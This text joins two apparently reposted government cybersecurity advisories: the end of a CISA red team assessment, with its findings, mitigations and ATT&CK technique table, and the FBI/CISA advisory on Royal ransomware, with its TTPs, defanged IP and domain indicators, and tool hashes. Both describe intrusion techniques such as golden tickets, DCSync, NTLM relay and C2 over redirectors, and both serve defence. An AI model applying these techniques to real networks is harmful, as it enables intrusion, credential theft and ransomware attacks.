Use a previously compromised workstation admin account to upload and execute a payload via SMB and Windows Service Creation, respectively, on several target Workstations.

 

  • Valid Accounts: Domain Accounts [T1078.002]
  • Remote Services: SMB/Windows Admin Shares, Sub-technique [T1021.002]
  • Create or Modify System Process: Windows Service [T1543.003]
  • Windows Event Logs
  • Detect account compromise
  • Analyze compromised host
  • Develop response plan

None

Domain Admin Lateral Movement—Workstation to Domain Controller

Use a previously compromised domain admin account to upload and execute a payload via SMB and Windows Service Creation, respectively, on a target DC.

  • Valid Accounts: Domain Accounts [T1078.002]
  • Remote Services: SMB/Windows Admin Shares, Sub-technique [T1021.002]
  • Create or Modify System Process: Windows Service [T1543.003]
  • Windows Event Logs
  • Detect account compromise
  • Triage compromised host
  • Develop response plan

None

Malicious Traffic Generation—Domain Controller to External Host

Establish a session that originates from a target Domain Controller system directly to an external host over a clear text protocol, such as HTTP.

  • Application Layer Protocol [T1071]
  • Intrusion Detection or Prevention Systems
  • Endpoint Protection Platform
  • Web Proxy Logs
  • Detect and identify source IP and source process of malicious traffic
  • Investigate destination IP address
  • Triage compromised host

Develop response plan

None

Trigger Host-Based Protection—Domain Controller

Upload and execute a well-known (e.g., with a signature) malicious file to a target DC system to generate host-based alerts.

  • Ingress Tool Transfer [T1105]
  • Endpoint Protection Platform
  • Endpoint Detection and Response
  • Detect and identify source IP and source process of malicious traffic
  • Investigate destination IP address
  • Triage compromised host
  • Develop response plan

Malicious file was removed by antivirus

Ransomware Simulation

Execute simulated ransomware on multiple Workstation systems to simulate a ransomware attack.

Note: This technique does NOT encrypt files on the target system.

N/A

  • End User Reporting
  • Investigate end user reported event
  • Triage compromised host
  • Develop response Plan

Four users reported event to defensive staff

Findings
Key Issues

The red team noted the following key issues relevant to the security of the organization’s network. These findings contributed to the team’s ability to gain persistent, undetected access across the organization’s sites. See the Mitigations section for recommendations on how to mitigate these issues.

  • Insufficient host and network monitoring. Most of the red team’s Phase II actions failed to provoke a response from the people, processes, and technology defending the organization’s network. The organization failed to detect lateral movement, persistence, and C2 activity via their intrusion detection or prevention systems, endpoint protection platform, web proxy logs, and Windows event logs. Additionally, throughout Phase I, the team received no deconflictions or confirmation that the organization caught their activity. Below is a list of some of the higher risk activities conducted by the team that were opportunities for detection:
    • Phishing
    • Lateral movement reuse
    • Generation and use of the golden ticket
    • Anomalous LDAP traffic
    • Anomalous internal share enumeration
    • Unconstrained Delegation server compromise
    • DCSync
    • Anomalous account usage during lateral movement
    • Anomalous outbound network traffic
    • Anomalous outbound SSH connections to the team’s cloud servers from workstations
  • Lack of monitoring on endpoint management systems. The team used the organization’s MDM system to gain root access to machines across the organization’s network without being detected. Endpoint management systems provide elevated access to thousands of hosts and should be treated as high value assets (HVAs) with additional restrictions and monitoring.
  • KRBTGT never changed. The Site 1 krbtgt account password had not been updated for over a decade. The krbtgt account is a domain default account that acts as a service account for the key distribution center (KDC) service used to encrypt and sign all Kerberos tickets for the domain. Compromise of the krbtgt account could provide adversaries with the ability to sign their own TGTs, facilitating domain access years after the date of compromise. The red team was able to use the krbtgt account to forge TGTs for multiple accounts throughout Phase I.
  • Excessive permissions to standard users. The team discovered several standard user accounts that have local administrator access to critical servers. This misconfiguration allowed the team to use the low-level access of a phished user to move laterally to an Unconstrained Delegation host and compromise the entire domain.
  • Hosts with Unconstrained Delegation enabled unnecessarily. Hosts with Unconstrained Delegation enabled store the Kerberos TGTs of all users that authenticate to that host, enabling actors to steal service tickets or compromise krbtgt accounts and perform golden ticket or “silver ticket” attacks. The team performed an NTLM-relay attack to obtain the DC’s TGT, followed by a golden ticket attack on a SharePoint server with Unconstrained Delegation to gain the ability to impersonate any Site 1 AD account.
  • Use of non-secure default configurations. The organization used default configurations for hosts with Windows Server 2012 R2. The default configuration allows unprivileged users to query group membership of local administrator groups. The red team used and identified several standard user accounts with administrative access from a Windows Server 2012 R2 SharePoint server.
Additional Issues

The team noted the following additional issues.

  • Ineffective separation of privileged accounts. Some workstations allowed unprivileged accounts to have local administrator access; for example, the red team discovered an ordinary user account in the local admin group for the SharePoint server. If a user with administrative access is compromised, an actor can access servers without needing to elevate privileges. Administrative and user accounts should be separated, and designated admin accounts should be exclusively used for admin purposes.
  • Lack of server egress control. Most servers, including domain controllers, allowed unrestricted egress traffic to the internet.
  • Inconsistent host configuration. The team observed inconsistencies on servers and workstations within the domain, including inconsistent membership in the local administrator group among different servers or workstations. For example, some workstations had “Server Admins” or “Domain Admins” as local administrators, and other workstations had neither.
  • Potentially unwanted programs. The team noticed potentially unusual software, including music software, installed on both workstations and servers. These extraneous software installations indicate inconsistent host configuration (see above) and increase the attack surfaces for malicious actors to gain initial access or escalate privileges once in the network.
  • Mandatory password changes enabled. During the assessment, the team keylogged a user during a mandatory password change and noticed that only the final character of their password was modified. This is potentially due to domain passwords being required to be changed every 60 days.
  • Smart card use was inconsistent across the domain. While the technology was deployed, it was not applied uniformly, and there was a significant portion of users without smartcard protections enabled. The team used these unprotected accounts throughout their assessment to move laterally through the domain and gain persistence.
Noted Strengths

The red team noted the following technical controls or defensive measures that prevented or hampered offensive actions:

  • The organization conducts regular, proactive penetration tests and adversarial assessments and invests in hardening their network based on findings.
    • The team was unable to discover any easily exploitable services, ports, or web interfaces from more than three million external in-scope IPs. This forced the team to resort to phishing to gain initial access to the environment.
    • Service account passwords were strong. The team was unable to crack any of the hashes obtained from the 610 service accounts pulled. This is a critical strength because it slowed the team from moving around the network in the initial parts of the Phase I.
    • The team did not discover any useful credentials on open file shares or file servers. This slowed the progress of the team from moving around the network.
  • MFA was used for some SBSs. The team was blocked from moving to SBS 2 by an MFA prompt.
  • There were strong security controls and segmentation for SBS systems. Direct access to SBS were located in separate networks, and admins of SBS used workstations protected by local firewalls.

MITIGATIONS

CISA recommends organizations implement the recommendations in Table 2 to mitigate the issues listed in the Findings section of this advisory. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. See CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

Table 2: Recommendations to Mitigate Identified Issues

Issue

Recommendation

Insufficient host and network monitoring

  • Establish a security baseline of normal network traffic and tune network appliances to detect anomalous behavior [CPG 3.1]. Tune host-based products to detect anomalous binaries, lateral movement, and persistence techniques.
  • Create alerts for Windows event log authentication codes, especially for the domain controllers. This could help detect some of the pass-the-ticket, DCSync, and other techniques described in this report.
  • From a detection standpoint, focus on identity and access management (IAM) rather than just network traffic or static host alerts.
  • Consider who is accessing what (what resource), from where (what internal host or external location), and when (what day and time the access occurs).
  • Look for access behavior that deviates from expected or is indicative of AD abuse.
  • Reduce the attack surface by limiting the use of legitimate administrative pathways and tools such as PowerShell, PSExec, and WMI, which are often used by malicious actors. CISA recommends selecting one tool to administer the network, ensuring logging is turned on [CPG 3.1], and disabling the others.
  • Consider using “honeypot” service principal names (SPNs) to detect attempts to crack account hashes [CPG 1.1].
  • Conduct regular assessments to ensure processes and procedures are up to date and can be followed by security staff and end users.
  • Consider using red team tools, such as SharpHound, for AD enumeration to identify users with excessive privileges and misconfigured hosts (e.g., with Unconstrained Delegation enabled).
  • Ensure all commercial tools deployed in your environment are regularly tuned to pick up on relevant activity in your environment.

Lack of monitoring on endpoint management systems

  • Treat endpoint management systems as HVAs with additional restrictions and monitoring because they provide elevated access to thousands of hosts.

KRBTGT never changed

  • Change the krbtgt account password on a regular schedule such as every 6 to 12 months or if it becomes compromised. Note that this password change must be carefully performed to effectively change the credential without breaking AD functionality. The password must be changed twice to effectively invalidate the old credentials. However, the required waiting period between resets must be greater than the maximum lifetime period of Kerberos tickets, which is 10 hours by default. See Microsoft’s KRBTGT account maintenance considerations guidance for more information.

Excessive permissions to standard users and ineffective separation of privileged accounts

  • Implement the principle of least privilege:
  • Grant standard user rights for standard user tasks such as email, web browsing, and using line-of-business (LOB) applications.
  • Periodically audit standard accounts and minimize where they have privileged access.
  • Periodically Audit AD permissions to ensure users do not have excessive permissions and have not been added to admin groups.
  • Evaluate which administrative groups should administer which servers/workstations. Ensure group members administrative accounts instead of standard accounts.
  • Separate administrator accounts from user accounts [CPG 1.5]. Only allow designated admin accounts to be used for admin purposes. If an individual user needs administrative rights over their workstation, use a separate account that does not have administrative access to other hosts, such as servers.
  • Consider using a privileged access management (PAM) solution to manage access to privileged accounts and resources [CPG 3.4]. PAM solutions can also log and alert usage to detect any unusual activity and may have helped stop the red team from accessing resources with admin accounts. Note: password vaults associated with PAM solutions should be treated as HVAs with additional restrictions and monitoring (see below).
  • Configure time-based access for accounts set at the admin level and higher. For example, the just-in-time (JIT) access method provisions privileged access when needed and can support enforcement of the principle of least privilege, as well as the Zero Trust model. This is a process in which a network-wide policy is set in place to automatically disable administrator accounts at the AD level when the account is not in direct need. When individual users need the account, they submit their requests through an automated process that enables access to a system but only for a set timeframe to support task completion.

Hosts with Unconstrained Delegation enabled

  • Remove Unconstrained Delegation from all servers. If Unconstrained Delegation functionality is required, upgrade operating systems and applications to leverage other approaches (e.g., constrained delegation) or explore whether systems can be retired or further isolated from the enterprise. CISA recommends Windows Server 2019 or greater.
  • Consider disabling or limiting NTLM and WDigest Authentication if possible, including using their use as criteria for prioritizing updates to legacy systems or for segmenting the network. Instead use more modern federation protocols (SAML, OIDC) or Kerberos for authentication with AES-256 bit encryption [CPG 3.4].
  • If NTLM must be enabled, enable Extended Protection for Authentication (EPA) to prevent some NTLM-relay attacks, and implement SMB signing to prevent certain adversary-in-the-middle and pass-the-hash attacks CPG 3.4]. See Microsoft Mitigating NTLM Relay Attacks on Active Directory Certificate Services (AD CS) and Microsoft Overview of Server Message Block signing for more information.

Use of non-secure default configurations

  • Keep systems and software up to date [CPG 5.1]. If updates cannot be uniformly installed, update insecure configurations to meet updated standards.

Lack of server egress control

  • Configure internal firewalls and proxies to restrict internet traffic from hosts that do not require it. If a host requires specific outbound traffic, consider creating an allowlist policy of domains.

Large number of credentials in a shared vault

  • If on-premise, require MFA for admin and apply network segmentation [CPG 1.3]. Use solutions with end-to-end encryption where applicable [CPG 3.3].
  • If cloud-based, evaluate the provider to ensure use of strong security controls such as MFA and end-to-end encryption [CPG 1.3, 3.3].

Inconsistent host configuration

  • Establish a baseline/gold-image for workstations and servers and deploy from that image [CPG 2.5]. Use standardized groups to administer hosts in the network.

Potentially unwanted programs

  • Implement software allowlisting to ensure users can only install software from an approved list [CPG 2.1].
  • Remove unnecessary, extraneous software from servers and workstations.

Mandatory password changes enabled

  • Consider only requiring changes for memorized passwords in the event of compromise. Regular changing of memorized passwords can lead to predictable patterns, and both CISA and the National Institute of Standards and Technology (NIST) recommend against changing passwords on regular intervals.

Additionally, CISA recommends organizations implement the mitigations below to improve their cybersecurity posture:

  • Provide users with regular training and exercises, specifically related to phishing emails [CPG 4.3]. Phishing accounts for majority of initial access intrusion events.
  • Enforce phishing-resistant MFA to the greatest extent possible [CPG 1.3].
  • Reduce the risk of credential compromise via the following:
    • Place domain admin accounts in the protected users group to prevent caching of password hashes locally; this also forces Kerberos AES authentication as opposed to weaker RC4 or NTLM.
    • Implement Credential Guard for Windows 10 and Server 2016 (Refer to Microsoft: Manage Windows Defender Credential Guard for more information). For Windows Server 2012R2, enable Protected Process Light for Local Security Authority (LSA).
    • Refrain from storing plaintext credentials in scripts [CPG 3.4]. The red team discovered a PowerShell script containing plaintext credentials that allowed them to escalate to admin.
  • Upgrade to Windows Server 2019 or greater and Windows 10 or greater. These versions have security features not included in older operating systems.

As a long-term effort, CISA recommends organizations prioritize implementing a more modern, Zero Trust network architecture that:

  • Leverages secure cloud services for key enterprise security capabilities (e.g., identity and access management, endpoint detection and response, policy enforcement).
  • Upgrades applications and infrastructure to leverage modern identity management and network access practices.
  • Centralizes and streamlines access to cybersecurity data to drive analytics for identifying and managing cybersecurity risks.
  • Invests in technology and personnel to achieve these goals.

CISA encourages organizational IT leadership to ask their executive leadership the question: Can the organization accept the business risk of NOT implementing critical security controls such as MFA? Risks of that nature should typically be acknowledged and prioritized at the most senior levels of an organization.

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, CISA recommends exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA recommends testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

  1. Select an ATT&CK technique described in this advisory (see Table 3).
  2. Align your security technologies against the technique.
  3. Test your technologies against the technique.
  4. Analyze your detection and prevention technologies’ performance.
  5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
  6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

CISA recommends continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

RESOURCES

See CISA’s RedEye tool on CISA’s GitHub page. RedEye is an interactive open-source analytic tool used to visualize and report red team command and control activities. See CISA’s RedEye tool overview video for more information.

REFERENCES
[1] Bleeping Computer: New DFSCoerce NTLM Relay attack allows Windows domain takeover

APPENDIX: MITRE ATT&CK TACTICS AND TECHNIQUES

See Table 3 for all referenced red team tactics and techniques in this advisory. Note: activity was from Phase I unless noted.

Table 3: Red Team ATT&CK Techniques for Enterprise

 

Reconnaissance  

Technique Title

ID

Use

Gather Victim Identity Information: Email Addresses

T1589.002

 

The team found employee email addresses via open-source research.

Gather Victim Identify Information: Employee Names

 

T1589.003

 

The team identified employee names via open-source research that could be used to derive email addresses.

Gather Victim Network Information: Network Security Appliances

T1590.006

The team identified the organization’s MDM vendor and leveraged that information to move laterally to SBS-connected assets.

Gather Victim Org Information

T1591

The team conducted open-source research and identified an organizational branch that likely had access to an SBS asset.

Gather Victim Org Information: Determine Physical Locations

T1591.001

The team conducted open-source research to identify the physical locations of upkeep/management staff of selected assets.

Search Open Technical Databases: Scan Databases

 

T1596.005

The team queried an MDM SQL database to identify target administrators who recently connected with the MDM.

 

Resource Development  

Technique Title

ID

Use

Acquire Infrastructure

T1583

The team used third-party owned and operated infrastructure throughout their assessment for C2.

Establish Accounts: Email Accounts

T1585.002

The team used commercially available email platforms for their spearphishing activity.

Obtain Capabilities: Tool

T1588.002

The team used the following tools:

 

Initial Access  

Technique Title

ID

Use

Phishing: Spearphishing Link

T1566.002

The team sent spearphishing emails with links to a red-team-controlled domain to gain access to the organization’s systems.

 

Execution  

Technique Title

ID

Use

Native API

T1106

The team created a policy via the MDM API, which downloaded and executed a payload on a workstation.

User Execution

T1204

Users downloaded and executed the team’s initial access payloads after clicking buttons to trigger download and execution.

 

Persistence  

Technique Title

ID

Use

 

Account Manipulation

T1098

The team elevated account privileges to administrator and modified the user’s account by adding Create Policy and Delete Policy permissions.

During Phase II, the team created local admin accounts and an AD account; they added the created AD account to a domain admins group.

Create Account: Local Account

T1136.001

During Phase II, the team created a local administrator account on a workstation and a server.

Create Account: Domain Account

T1136.002

During Phase II, the team created an AD account.

Create or Modify System Process: Windows Service

T1543.003

During Phase II, the team leveraged compromised workstation and domain admin accounts to execute a payload via Windows Service Creation on target workstations and the DC.

Event Triggered Execution: Windows Management Instrumentation Event Subscription

T1546.003

The team used WMI Event Subscriptions to move laterally between sites.

Hijack Execution Flow: DLL Search Order Hijacking

T1574.001

The team used DLL hijacking to move laterally between sites.

 

Privilege Escalation  

Technique Title

ID

Use

Abuse Elevation Control Mechanism

T1548

The team elevated user account privileges to administrator by modifying the user’s account via adding Create Policy and Delete Policy permissions.

 

Defense Evasion  

Technique Title

ID

Use

Valid Accounts: Domain Accounts

T1078.002

During Phase II, the team compromised a domain admin account and used it to laterally to multiple workstations and the DC.

 

Credential Access  

Technique Title

ID

Use

OS Credential Dumping: LSASS Memory

T1003.001

The team obtained the cached credentials from a SharePoint server account by taking a snapshot of lsass.exe with a tool called nanodump, exporting the output and processing the output offline with Mimikatz.

OS Credential Dumping: DCSync

T1003.006

The team harvested AES-256 hashes via DCSync.

Brute Force: Password Cracking

T1110.002

The team cracked a user’s workstation account password after learning the user’s patterns from plaintext credentials.

Unsecured Credentials

T1552

The team found backups of a MySQL database that contained the encryption key needed to decrypt SSH passwords.

Unsecured Credentials: Credentials in Files

T1552.001

The team found plaintext credentials to an API user account stored in PowerShell scripts on an MDM server.

Unsecured Credentials: Bash History

T1552.003

The team found bash history files on a Workstation 5, and the files appeared to be SSH passwords saved in bash history.

Credentials from Password Stores: Password Managers

T1555.005

The team pulled credentials from a KeePass database.

 

Adversary-in-the-middle: LLMNR/NBT-NS Poisoning and SMB Relay

T1557.001

The team ran the DFSCoerce python script, which prompted DC authentication to a server using the server’s NTLM hash. The team then deployed Rubeus to capture the incoming DC TGT.

Steal or Forge Kerberos Tickets: Golden Ticket

T1558.001

The team used the acquired krbtgt account hash throughout their assessment to forge legitimate TGTs.

Steal or Forge Kerberos Tickets: Kerberoasting

T1558.003

The team leveraged Rubeus and DFSCoerce in a NTLM relay attack to obtain the DC’s TGT from a host with Unconstrained Delegation enabled.

 

Discovery  

Technique Title

ID

Use

System Network Configuration Discovery

T1016

The team queried the AD for information about the network’s sites and subnets. 

Remote System Discovery

T1018

The team queried the AD, during phase I and II, for information about computers on the network. 

System Network Connections Discovery

T1049

The team listed existing network connections on SCCM Server 1 to reveal an active SMB connection with server 2.

Permission Groups Discovery: Domain Groups

T1069.002

The team leveraged ldapsearch and dsquery to query and scrape active directory information. 

Account Discovery: Domain Account

T1087.002

The team queried AD for AD users (during Phase I and II), including for members of a SharePoint admin group and several standard user accounts with administrative access.

Cloud Infrastructure Discovery

T1580

The team found SecOps network diagrams on a host detailing cloud infrastructure boundaries.

Domain Trust Discovery

T1482

During Phase II, the team enumerated trust relationships within the AD Forest.

Group Policy Discovery

T1615

The team scraped AD information, including GPOs.

Network Service Discovery

T1046

During Phase II, the team enumerated ports on target systems from a previously compromised workstation.

System Owner/User Discovery

T1033

During Phase II, the team enumerated the AD for current session information from every domain computer (Workstation and Server).

 

Lateral Movement  

Technique Title

ID

Use

Remote Services: SMB/Windows Admin Shares

T1021.002

The team moved laterally with an SMB beacon.

During Phase II, they used compromised workstation and domain admin accounts to upload a payload via SMB on several target Workstations and the DC.

Use Alternate Authentication Material: Pass the Hash

T1550.002

The team ran the DFSCoerce python script, which prompted DC authentication to a server using the server’s NTLM hash. The team then deployed Rubeus to capture the incoming DC TGT.

Pass the Ticket

T1550.003

The team used the asktgt command to impersonate accounts for which they had credentials by requesting account TGTs.

 

Command and Control  

Technique Title

ID

Use

Application Layer Protocol

T1071

The team remotely enumerated the local administrators group on target hosts to find valid user accounts. This technique relies on anonymous SMB pipe binds, which are disabled by default starting with Server 2016.

During Phase II, the team established sessions that originated from a target Workstation and from the DC directly to an external host over a clear text protocol.

Application Layer Protocol: Web Protocols

T1071.001

The team’s C2 redirectors used HTTPS reverse proxies to redirect C2 traffic.

Application Layer Protocol: File Transfer Protocols

T1071.002

The team used HTTPS reverse proxies to redirect C2 traffic between target network and the team’s Cobalt Strike servers.

Encrypted Channel

T1573

The team’s C2 traffic was encrypted in transit using encryption keys stored on their C2 servers.

Ingress Tool Transfer

T1105

During Phase II, the team uploaded and executed well-known malicious files to the DC to generate host-based alerts.

Proxy: External Proxy

T1090.002

The team used redirectors to redirect C2 traffic between the target organization’s network and the team’s C2 servers.

Proxy: Domain Fronting

T1090.004

The team used domain fronting to disguise outbound traffic in order to diversify the domains with which the persistent beacons were communicating.

 

Impact  

Technique Title

ID

Use

Account Access Removal

T1531

During Phase II, the team locked out several administrative AD accounts.

 

Please share your thoughts. We recently updated our anonymous Product Feedback Survey and we’d welcome your feedback.

#StopRansomware: Royal Ransomware

This post was originally published on this site

SUMMARY

Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.

Actions to take today to mitigate cyber threats from ransomware:

The Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint CSA to disseminate known Royal ransomware IOCs and TTPs identified through FBI threat response activities as recently as January 2023.

Since approximately September 2022, cyber criminals have compromised U.S. and international organizations with a Royal ransomware variant. FBI and CISA believe this variant, which uses its own custom-made file encryption program, evolved from earlier iterations that used “Zeon” as a loader. After gaining access to victims’ networks, Royal actors disable antivirus software and exfiltrate large amounts of data before ultimately deploying the ransomware and encrypting the systems. Royal actors have made ransom demands ranging from approximately $1 million to $11 million USD in Bitcoin. In observed incidents, Royal actors do not include ransom amounts and payment instructions as part of the initial ransom note. Instead, the note, which appears after encryption, requires victims to directly interact with the threat actor via a .onion URL (reachable through the Tor browser). Royal actors have targeted numerous critical infrastructure sectors including, but not limited to, Manufacturing, Communications, Healthcare and Public Healthcare (HPH), and Education.

FBI and CISA encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of ransomware incidents.

Download the PDF version of this report:

For a downloadable copy of IOCs, see

AA23-061A STIX XML
(XML, 115.20 KB
)

TECHNICAL DETAILS

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 12. See MITRE ATT&CK for Enterprise for all referenced tactics and techniques.

Royal ransomware uses a unique partial encryption approach that allows the threat actor to choose a specific percentage of data in a file to encrypt. This approach allows the actor to lower the encryption percentage for larger files, which helps evade detection.[1] In addition to encrypting files, Royal actors also engage in double extortion tactics in which they threaten to publicly release the encrypted data if the victim does not pay the ransom.

Initial Access

Royal actors gain initial access to victim networks in a number of ways including: 

  • Phishing. According to third-party reporting, Royal actors most commonly (in 66.7% of incidents) gain initial access to victim networks via successful phishing emails [T1566].
    • According to open-source reporting, victims have unknowingly installed malware that delivers Royal ransomware after receiving phishing emails containing malicious PDF documents [T1566.001], and malvertising [T1566.002].[2]
  • Remote Desktop Protocol (RDP). The second most common vector Royal actors use (in 13.3% of incidents) for initial access is RDP compromise.  
  • Public-facing applications. FBI has also observed Royal actors gain initial access through exploiting public-facing applications [T1190]. 
  • Brokers. Reports from trusted third-party sources indicate that Royal actors may leverage brokers to gain initial access and source traffic by harvesting virtual private network (VPN) credentials from stealer logs. 
Command and Control

Once Royal actors gain access to the network, they communicate with command and control (C2) infrastructure and download multiple tools [T1105]. Legitimate Windows software is repurposed by Royal operators to strengthen their foothold in the victim’s network. Ransomware operators often use open-source projects to aid their intrusion activities; Royal operators have recently been observed using Chisel, a tunneling tool transported over HTTP and secured via SSH [T1572], to communicate with their C2 infrastructure. FBI has observed multiple Qakbot C2s used in Royal ransomware attacks, but has not yet determined if Royal ransomware exclusively uses Qakbot C2s.

Lateral Movement and Persistence

Royal actors often use RDP to move laterally across the network [T1021.001]. Microsoft Sysinternals tool PsExec has also been used to aid lateral movement. FBI has observed Royal actors using remote monitoring and management (RMM) software, such as AnyDesk, LogMeIn, and Atera, for persistence in the victim’s network [T1133]. In some instances, the actors moved laterally to the domain controller. In one confirmed case, the actors used a legitimate admin account to remotely log on to the domain controller [T1078]. Once on the domain controller, the threat actor deactivated antivirus protocols [T1562.001] by modifying Group Policy Objects [T1484.001].

Exfiltration

Royal actors exfiltrate data from victim networks by repurposing legitimate cyber pentesting tools, such as Cobalt Strike, and malware tools and derivatives, such as Ursnif/Gozi, for data aggregation and exfiltration. According to third-party reporting, Royal actors’ first hop in exfiltration and other operations is usually a U.S. IP address.

Note: In reference to Cobalt Strike and other tools mentioned above, a tool repository used by Royal was identified at IP: 94.232.41[.]105 in December 2022.

Encryption

Before starting the encryption process, Royal actors: 

  • Use Windows Restart Manager to determine whether targeted files are currently in use or blocked by other applications [T1486].[1
  • Use Windows Volume Shadow Copy service (vssadmin.exe) to delete shadow copies to prevent system recovery.[1]  

FBI has found numerous batch (.bat) files on impacted systems which are typically transferred as an encrypted 7zip file. Batch files create a new admin user [T1078.002], force a group policy update, set pertinent registry keys to auto-extract [T1119] and execute the ransomware, monitor the encryption process, and delete files upon completion—including Application, System, and Security event logs [T1070.001].

Malicious files have been found in victim networks in the following directories:

  • C:Temp  
  • C:UsersAppDataRoaming  
  • C:Users 
  • C:ProgramData
Indicators of Compromise (IOC)

See table 1 and 2 for Royal ransomware IOCs that FBI obtained during threat response activities as of January 2023. Note: Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.

Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023

IOC

Description

.royal

Encrypted file extension

README.TXT

Ransom note

Malicious IP

Last Activity

102.157.44[.]105

November 2022

105.158.118[.]241

November 2022

105.69.155[.]85

November 2022

113.169.187[.]159

November 2022

134.35.9[.]209

November 2022

139.195.43[.]166

November 2022

139.60.161[.]213

November 2022

148.213.109[.]165

November 2022

163.182.177[.]80

November 2022

181.141.3[.]126

November 2022

181.164.194[.]228

November 2022

185.143.223[.]69

November 2022

186.64.67[.]6

November 2022

186.86.212[.]138

November 2022

190.193.180[.]228

November 2022

196.70.77[.]11

November 2022

197.11.134[.]255

November 2022

197.158.89[.]85

November 2022

197.204.247[.]7

November 2022

197.207.181[.]147

November 2022

197.207.218[.]27

November 2022

197.94.67[.]207

November 2022

23.111.114[.]52

November 2022

41.100.55[.]97

November 2022

41.107.77[.]67

November 2022

41.109.11[.]80

November 2022

41.251.121[.]35

November 2022

41.97.65[.]51

November 2022

42.189.12[.]36

November 2022

45.227.251[.]167

November 2022

5.44.42[.]20

November 2022

61.166.221[.]46

November 2022

68.83.169[.]91

November 2022

81.184.181[.]215

November 2022

82.12.196[.]197

November 2022

98.143.70[.]147

November 2022

140.82.48[.]158

December 2022

147.135.36[.]162

December 2022

147.135.11[.]223

December 2022

152.89.247[.]50

December 2022

172.64.80[.]1

December 2022

179.43.167[.]10

December 2022

185.7.214[.]218

December 2022

193.149.176[.]157

December 2022

193.235.146[.]104

December 2022

209.141.36[.]116

December 2022

45.61.136[.]47

December 2022

45.8.158[.]104

December 2022

5.181.234[.]58

December 2022

5.188.86[.]195

December 2022

77.73.133[.]84

December 2022

89.108.65[.]136

December 2022

94.232.41[.]105

December 2022

47.87.229[.]39

January 2023

Malicious Domain

Last Observed

ciborkumari[.]xyz

October 2022

sombrat[.]com

October 2022

gororama[.]com

November 2022

softeruplive[.]com

November 2022

altocloudzone[.]live

December 2022

ciborkumari[.]xyz

December 2022

myappearinc[.]com

December 2022

parkerpublic[.]com

December 2022

pastebin.mozilla[.]org/Z54Vudf9/raw

December 2022

tumbleproperty[.]com

December 2022

myappearinc[.]com/acquire/draft/c7lh0s5jv

January 2023

Table 2: Tools used by Royal operators

Tool

SHA256

AV tamper

8A983042278BC5897DBCDD54D1D7E3143F8B7EAD553B5A4713E30DEFFDA16375

TCP/UDP Tunnel over HTTP (Chisel)

8a99353662ccae117d2bb22efd8c43d7169060450be413af763e8ad7522d2451

Ursnif/Gozi

be030e685536eb38ba1fec1c90e90a4165f6641c8dc39291db1d23f4ee9fa0b1

Exfil

B8C4AEC31C134ADBDBE8AAD65D2BCB21CFE62D299696A23ADD9AA1DE082C6E20

Remote Access (AnyDesk)

4a9dde3979c2343c024c6eeeddff7639be301826dd637c006074e04a1e4e9fe7

PowerShell Toolkit Downloader

4cd00234b18e04dcd745cc81bb928c8451f6601affb5fa45f20bb11bfb5383ce

PsExec (Microsoft Sysinternals)

08c6e20b1785d4ec4e3f9956931d992377963580b4b2c6579fd9930e08882b1c

Keep Host Unlocked (Don’t Sleep)

f8cff7082a936912baf2124d42ed82403c75c87cb160553a7df862f8d81809ee

Ransomware Executable

d47d4b52e75e8cf3b11ea171163a66c06d1792227c1cf7ca49d7df60804a1681

Windows Command Line (NirCmd)

216047C048BF1DCBF031CF24BD5E0F263994A5DF60B23089E393033D17257CB5

System Management (NSudo)

19896A23D7B054625C2F6B1EE1551A0DA68AD25CDDBB24510A3B74578418E618

Batch Scripts

 

Filename

Hash Value

2.bat

585b05b290d241a249af93b1896a9474128da969

3.bat

41a79f83f8b00ac7a9dd06e1e225d64d95d29b1d

4.bat

a84ed0f3c46b01d66510ccc9b1fc1e07af005c60

8.bat

c96154690f60a8e1f2271242e458029014ffe30a

kl.bat

65dc04f3f75deb3b287cca3138d9d0ec36b8bea0

gp.bat

82f1f72f4b1bfd7cc8afbe6d170686b1066049bc7e5863b51aa15ccc5c841f58

r.bat

74d81ef0be02899a177d7ff6374d699b634c70275b3292dbc67e577b5f6a3f3c

runanddelete.bat

342B398647073159DFA8A7D36510171F731B760089A546E96FBB8A292791EFEE

MITRE ATT&CK TECHNIQUES

See table 3 for all referenced threat actor tactics and techniques included in this advisory.

Table 3: Royal Actors ATT&CK Techniques for Enterprise

Initial Access

   

Technique Title

ID

Use

Exploit Public Facing Application

T1190

The actors gain initial access through public-facing applications.

Phishing: Spear phishing Attachment

T1566.001

The actors gain initial access through malicious PDF attachments sent via email.

Phishing: Spearphishing Link

T1566.002

The actors gain initial access using malvertising links via emails and public-facing sites.

External Remote Services

T1133

The actors gain initial access through a variety of RMM software.

Command and Control

   

Technique Title

ID

Use

Ingress Tool Transfer

T1105

The actors used C2 infrastructure to download multiple tools.

Protocol Tunneling

T1572

The actors used an encrypted SSH tunnel to communicate within C2 infrastructure.

                                                              Privilege Escalation

   

Technique Title

ID

Use

Valid Accounts: Domain Accounts

T1078.002

The actors used encrypted files to create new admin user accounts.

Defense Evasion

   

Technique Title

ID

Use

Impair Defenses: Disable or Modify Tools

T1562.001

The actors deactivated antivirus protocols.

Domain Policy Modification: Group Policy Modification

T1484.001

The actors modified Group Policy Objects to subvert antivirus protocols.

